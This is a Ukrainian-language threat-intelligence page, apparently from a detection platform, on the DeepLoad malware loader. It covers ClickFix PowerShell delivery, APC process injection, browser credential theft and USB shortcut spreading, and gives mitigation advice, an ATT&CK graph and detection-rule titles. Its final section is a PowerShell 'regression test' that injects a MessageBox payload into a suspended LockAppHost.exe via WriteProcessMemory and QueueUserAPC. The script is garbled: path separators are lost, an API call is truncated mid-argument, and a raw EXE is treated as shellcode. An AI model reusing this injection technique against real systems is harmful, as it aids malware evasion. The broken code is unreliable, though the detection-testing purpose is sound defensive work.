Вірус DeepLoad: Пояснення доставки ClickFix та крадіжки облікових даних
Detection stack
- AIDR
- Alert
- ETL
- Query
Короткий огляд
DeepLoad — це безфайлосна завантажувальна програма шкідливого програмного забезпечення, вперше виявлена у березні 2026 року, яка поширюється через соціальну інженерію, відому як ClickFix, що переконує користувачів виконати шкідливу команду PowerShell. Після виконання завантажувач дешифрує свої корисні навантаження в пам’яті та вбудовує їх у довірені процеси Windows через асинхронні виклики процедур. Потім він застосовує викрадач облікових даних під назвою filemanager.exe разом зі шкідливим розширенням браузера для викрадення збережених паролів і запису нажаттів клавіш. Шкідливе програмне забезпечення також може поширюватися через USB-накопичувачі, запустивши численні файли ярликів, які повторно запустять ланцюг інфекції на іншій системі.
Дослідження
Дослідження описує початкову команду, використану для отримання завантажувача PowerShell із віддаленого сервера, методи обфускації, застосовані протягом виконання, і ін’єкцію процесу на основі APC у такі двійкові файли, як LockAppHost.exe. Він також описує два окремі компоненти для крадіжки облікових даних та метод бокового переміщення на основі USB, який використовує .lnk файли, замасковані під звичайні установники програмного забезпечення. У звіті також згадуються модулі симуляції Picus, які можуть бути використані для тестування захисту від такої поведінки.
Пом’якшення
Захисники повинні блокувати виконання ненадійних команд PowerShell, моніторити створення підозрілих запланованих завдань та ненормальне використання mshta.exe, і забезпечити суворі контрольові виконання для скриптів PowerShell. Виявлення ін’єкції на основі APC, моніторинг підозрілих .lnk файлів на знімних носіях і обмеження збереження облікових даних у браузерах можуть допомогти зменшити вплив. Також рекомендується захист кінцевих точок, який може перевіряти розшифровку в пам’яті та поведінку ін’єкції.
Відповідь
Якщо виявлена активність DeepLoad, негайно ізолюйте порушений кінцевий пристрій, завершіть підозрілі процеси, такі як filemanager.exe і будь-які довірені двійкові файли, що демонструють ознаки ін’єкції, і видаліть будь-які заплановані завдання, створені шкідливим програмним забезпеченням. Скиньте облікові дані для скомпрометованих облікових записів, скануйте знімні носії на наявність шкідливих файлів-ярликів та проведіть судову експертизу для виявлення будь-яких механізмів збереження. Правила виявлення також слід оновити для покриття виявлених шаблонів командного рядка та технік ін’єкції.
graph TB %% Визначення класів classDef action fill:#ffcc99 classDef tool fill:#99ccff classDef file fill:#ccffcc classDef malware fill:#ff99cc classDef process fill:#ccccff classDef shortcut fill:#ffff99 classDef extension fill:#ffeb99 %% Вузли action_user_execution[“<b>Дія</b> – <b>T1204.004 Виконання користувачем: Шкідливе копіювання та вставка</b><br/>Жертва виконує команду PowerShell, вставлену з фальшивого запиту ClickFix.”] class action_user_execution action tool_powershell[“<b>Інструмент</b> – <b>Назва</b>: PowerShell<br/><b>Опис</b>: Середовище сценаріїв Windows, що використовується для завантаження та виконання корисного навантаження.<br/><b>Техніка</b>: T1059.001”] class tool_powershell tool file_loader[“<b>Файл</b> – <b>Назва</b>: Скрипт завантажувача PowerShell<br/><b>Вміст</b>: Фіктивні змінні, XOR-шифрований shellcode та динамічне визначення API.”] class file_loader file action_obfuscation[“<b>Дія</b> – <b>T1027 Обфусковані файли або інформація</b><br/>Використовуються фіктивні змінні, XOR-шифрування та динамічне визначення API.”] class action_obfuscation action action_reflective_loading[“<b>Дія</b> – <b>T1620 Рефлективне завантаження коду</b><br/>Розшифровує shellcode і завантажує його безпосередньо в пам’ять.”] class action_reflective_loading action malware_reflective_shellcode[“<b>Шкідливе ПЗ</b> – <b>Назва</b>: Memory shellcode<br/><b>Поведінка</b>: Виконується після рефлективного завантаження.”] class malware_reflective_shellcode malware shortcut_mod[“<b>Ярлик</b> – <b>T1547.009 Модифікація ярликів</b><br/>Понад 40 .lnk файлів записуються на USB та маскуються під інсталятори.”] class shortcut_mod shortcut action_lnk_icon_smuggling[“<b>Дія</b> – <b>T1027.012 Контрабанда іконок LNK</b><br/>Іконки вбудовують шкідливе корисне навантаження у файли ярликів.”] class action_lnk_icon_smuggling action action_taint_shared[“<b>Дія</b> – <b>T1080 Забруднення спільного вмісту</b><br/>USB-ярлики поширюються на інші системи при використанні носія.”] class action_taint_shared action process_lockapp[“<b>Процес</b> – <b>Назва</b>: LockAppHost.exe”] class process_lockapp process process_makecab[“<b>Процес</b> – <b>Назва</b>: makecab.exe”] class process_makecab process process_magnify[“<b>Процес</b> – <b>Назва</b>: Magnify.exe”] class process_magnify process action_process_injection[“<b>Дія</b> – <b>T1055 Інжекція процесів / T1055.012 Process Hollowing</b><br/>Завантажувач інжектує shellcode у довірені процеси через APC.”] class action_process_injection action extension_browser[“<b>Розширення</b> – <b>T1176 Програмні розширення</b><br/>Шкідливе розширення браузера встановлюється для викрадення облікових даних і cookies.”] class extension_browser extension file_stealer[“<b>Файл</b> – <b>Назва</b>: filemanager.exe<br/><b>Техніка</b>: Викрадення облікових даних із браузерів і менеджерів паролів.”] class file_stealer file action_cred_browser[“<b>Дія</b> – <b>T1555.003 Облікові дані з веббраузерів</b><br/>Витягує збережені паролі.”] class action_cred_browser action action_cred_manager[“<b>Дія</b> – <b>T1555.005 Облікові дані з менеджерів паролів</b><br/>Витягує збережені паролі.”] class action_cred_manager action action_cookie_steal[“<b>Дія</b> – <b>T1539 Викрадення сесійних cookie / T1185 Перехоплення браузерної сесії</b><br/>Перехоплює сесійні cookie через розширення.”] class action_cookie_steal action %% Зв’язки action_user_execution –>|виконує| tool_powershell tool_powershell –>|запускає| file_loader file_loader –>|містить| action_obfuscation action_obfuscation –>|активує| action_reflective_loading action_reflective_loading –>|завантажує| malware_reflective_shellcode malware_reflective_shellcode –>|інжектує| action_process_injection action_process_injection –>|ціль| process_lockapp action_process_injection –>|ціль| process_makecab action_process_injection –>|ціль| process_magnify action_user_execution –>|створює| shortcut_mod shortcut_mod –>|використовує| action_lnk_icon_smuggling shortcut_mod –>|поширюється через| action_taint_shared file_stealer –>|встановлює| extension_browser file_stealer –>|витягує| action_cred_browser file_stealer –>|витягує| action_cred_manager extension_browser –>|збирає| action_cred_browser extension_browser –>|збирає| action_cred_manager extension_browser –>|викрадає| action_cookie_steal
Потік атаки
Виявлення
Завантаження або вивантаження через Powershell (через командний рядок)
Переглянути
DeepLoad з’єднання HTTP шкідливого ПЗ з шкідливим IP [Мережеве з’єднання Windows]
Переглянути
Виявлення ін’єкції процесу на основі APC з DeepLoad [Створення процесу Windows]
Переглянути
Виконання команди PowerShell DeepLoad Malware [Windows Powershell]
Переглянути
Виконання моделювання
Попередня умова: Телеметрія і перевірка базової лінії повинні бути пройдені.
Розуміння: Цей розділ детально описує точне виконання техніки супротивника (TTP), призначене для запуску правила виявлення. Команди і наратив повинні безпосередньо відповідати ідентифікованим TTP і мати на меті генерувати саме ту телеметрію, яка очікується правилами виявлення.
-
Опис атаки та команди:
Атакуючий доставив шкідливий скрипт PowerShell (“завантажувач”), який запускається в контексті залогіненого користувача (Виконання користувача – T1204). Завантажувач виконує такі кроки:
- Підготовка корисного навантаження – записує скомпільований двійковий файл C (“корисне навантаження”) в
%TEMP%. - Створює призупинену копію довіреного процесу (
LockAppHost.exe) за допомогоюCreateProcessAзCREATE_SUSPENDEDпрапором. - Вводить корисне навантаження в призупинений процес викликом
WriteProcessMemoryдля копіювання двійкового файлу в адресний простір мети. - Додає APC (
QueueUserAPC) що вказує на точку входу корисного навантаження, викликаючи корисне навантаження для виконання, коли потік мети поновлюється. - Поновлює потік, завершує введення.
Ця точна послідовність генерує один процес створення події для
LockAppHost.exeчиє SysmonCallTraceполе містить три API-зв’язаних з ін’єкцією виклику, що задовольняє правило Sigma. - Підготовка корисного навантаження – записує скомпільований двійковий файл C (“корисне навантаження”) в
-
Сценарій регресійного тестування:
# Симуляція ін'єкції на основі APC з DeepLoad (PowerShell + C# компіляція в пам'яті) # -------------------------------------------------------------- # 1. Скомпілюйте мінімальний C-полей (MessageBox) у тимчасовий EXE $payloadSource = @" #include <windows.h> int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrev, LPSTR lpCmdLine, int nCmdShow) { MessageBoxA(NULL, "Injected by DeepLoad", "Success", MB_OK); return 0; } "@ $tempDir = "$env:TEMPDeepLoadDemo" New-Item -ItemType Directory -Force -Path $tempDir | Out-Null $cFile = "$tempDirpayload.c" $exeFile = "$tempDirpayload.exe" $payloadSource | Set-Content -Path $cFile -Encoding ASCII # Використовуйте компілятор Visual C++ якщо доступний; резервний варіант для Add-Type PowerShell (створює DLL, а не EXE) if (Get-Command cl.exe -ErrorAction SilentlyContinue) { & cl.exe /nologo /O2 /MT $cFile /link /OUT:$exeFile } else { Write-Error "C compiler not found – manual compile required." exit 1 } # 2. Підготовка ін'єкції $targetPath = "C:WindowsSystem32LockAppHost.exe" $STARTUPINFO = New-Object System.Diagnostics.ProcessStartInfo $STARTUPINFO.FileName = $targetPath $STARTUPINFO.Arguments = "" $STARTUPINFO.RedirectStandardOutput = $false $STARTUPINFO.UseShellExecute = $false $proc = New-Object System.Diagnostics.Process $proc.StartInfo = $STARTUPINFO $proc.StartInfo.CreateNoWindow = $true $proc.StartInfo.Verb = "runas" # ensure elevated if needed # Створити припинений процес $pInfo = New-Object System.Diagnostics.ProcessStartInfo $pInfo.FileName = $targetPath $pInfo.Arguments = "" $pInfo.UseShellExecute = $false $pInfo.CreateNoWindow = $true $procStartInfo = [System.Diagnostics.ProcessStartInfo]::new() $procStartInfo.FileName = $targetPath $procStartInfo.Arguments = "" $procStartInfo.UseShellExecute = $false $procStartInfo.CreateNoWindow = $true # P/Invoke визначення $sig = @" using System; using System.Runtime.InteropServices; public class Native { [DllImport("kernel32.dll", SetLastError=true)] public static extern bool CreateProcessA( string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTupINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); [DllImport("kernel32.dll", SetLastError=true)] public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll", SetLastError=true)] public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten); [DllImport("kernel32.dll", SetLastError=true)] public static extern uint QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, UIntPtr dwData); [DllImport("kernel32.dll", SetLastError=true)] public static extern uint ResumeThread(IntPtr hThread); public const uint CREATE_SUSPENDED = 0x00000004; public const uint MEM_COMMIT = 0x1000; public const uint PAGE_EXECUTE_READWRITE = 0x40; [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Ansi)] public struct STARTUPINFO { public uint cb; public string lpReserved; public string lpDesktop; public string lpTitle; public uint dwX; public uint dwY; public uint dwXSize; public uint dwYSize; public uint dwXCountChars; public uint dwYCountChars; public uint dwFillAttribute; public uint dwFlags; public ushort wShowWindow; public ushort cbReserved2; public IntPtr lpReserved2; public IntPtr hStdInput; public IntPtr hStdOutput; public IntPtr hStdError; } [StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION { public IntPtr hProcess; public IntPtr hThread; public uint dwProcessId; public uint dwThreadId; } } "@ Add-Type $sig # Ініціювати структури $si = New-Object Native+STARTUPINFO $pi = New-Object Native+PROCESS_INFORMATION $si.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($si) # Створити припинений LockAppHost $created = [Native]::CreateProcessA($null, $targetPath, [IntPtr]::Zero, [IntPtr]::Zero, $false, [Native]::CREATE_SUSPENDED, [IntPtr]::Zero, $null, [ref]$si, [ref]$pi) if (-not $created) { Write-Error "CreateProcessA failed: $([System.Runtime.InteropServices.Marshal]::GetLastWin32Error())" exit 1 } # Прочитати бінарне корисне навантаження $payloadBytes = [System.IO.File]::ReadAllBytes($exeFile) # Виділити пам'ять в цілі $remoteAddr = [Native]::VirtualAllocEx($pi.hProcess, [IntPtr]::Zero, $payloadBytes.Length, if ($remoteAddr -eq [IntPtr]::Zero) { Write-Error "VirtualAllocEx failed." exit 1 } # Записати корисне навантаження $bytesWritten = [UIntPtr]::Zero $writeOk = [Native]::WriteProcessMemory($pi.hProcess, $remoteAddr, $payloadBytes, $payloadBytes.Length, [ref]$bytesWritten) if (-not $writeOk) { Write-Error "WriteProcessMemory failed." exit 1 } # Додати APC (вказує на точку входу корисного навантаження) $apcResult = [Native]::QueueUserAPC($remoteAddr, $pi.hThread, [UIntPtr]::Zero) # Поновити потік для виконання APC [Native]::ResumeThread($pi.hThread) | Out-Null Write-Host "Ін'єкція завершена – корисне навантаження повинно з'явитися незабаром." -
Команди очищення:
# Завершити ін'єкційний екземпляр LockAppHost (якщо ще працює) Get-Process -Name "LockAppHost" -ErrorAction SilentlyContinue | Stop-Process -Force # Видалити тимчасові файли Remove-Item -Recurse -Force "$env:TEMPDeepLoadDemo"
Результати перевірки (заповнити після запуску)
- Правило спрацювало: Так / Ні
- Кількість згенерованих попереджень: ___
- Перевірка на хибні спрацьовування: Доброзичливий запуск не продукував попереджень (як підтверджено запитом перевірки).
Рекомендації Висновки
- Кореляція між подіями – Додайте друге правило, яке стежить за
WriteProcessMemoryorQueueUserAPCподії, що відбуваються в коротке часове вікно післяLockAppHost.exeстворення. - Розширте обсяг зображень – Включіть інші довірені двійкові файли, які часто зловживані для ін’єкції APC (наприклад,
svchost.exe,explorer.exe). - Поведенческое збагачення – Позначайте процеси, які завантажують не підписані DLL або виконуються з
%TEMP%після ін’єкції. - Пом’якшення обходу – Моніторинг для таких же викликів API, що розділені на кілька процесів, які в даний час обходять умову одного події.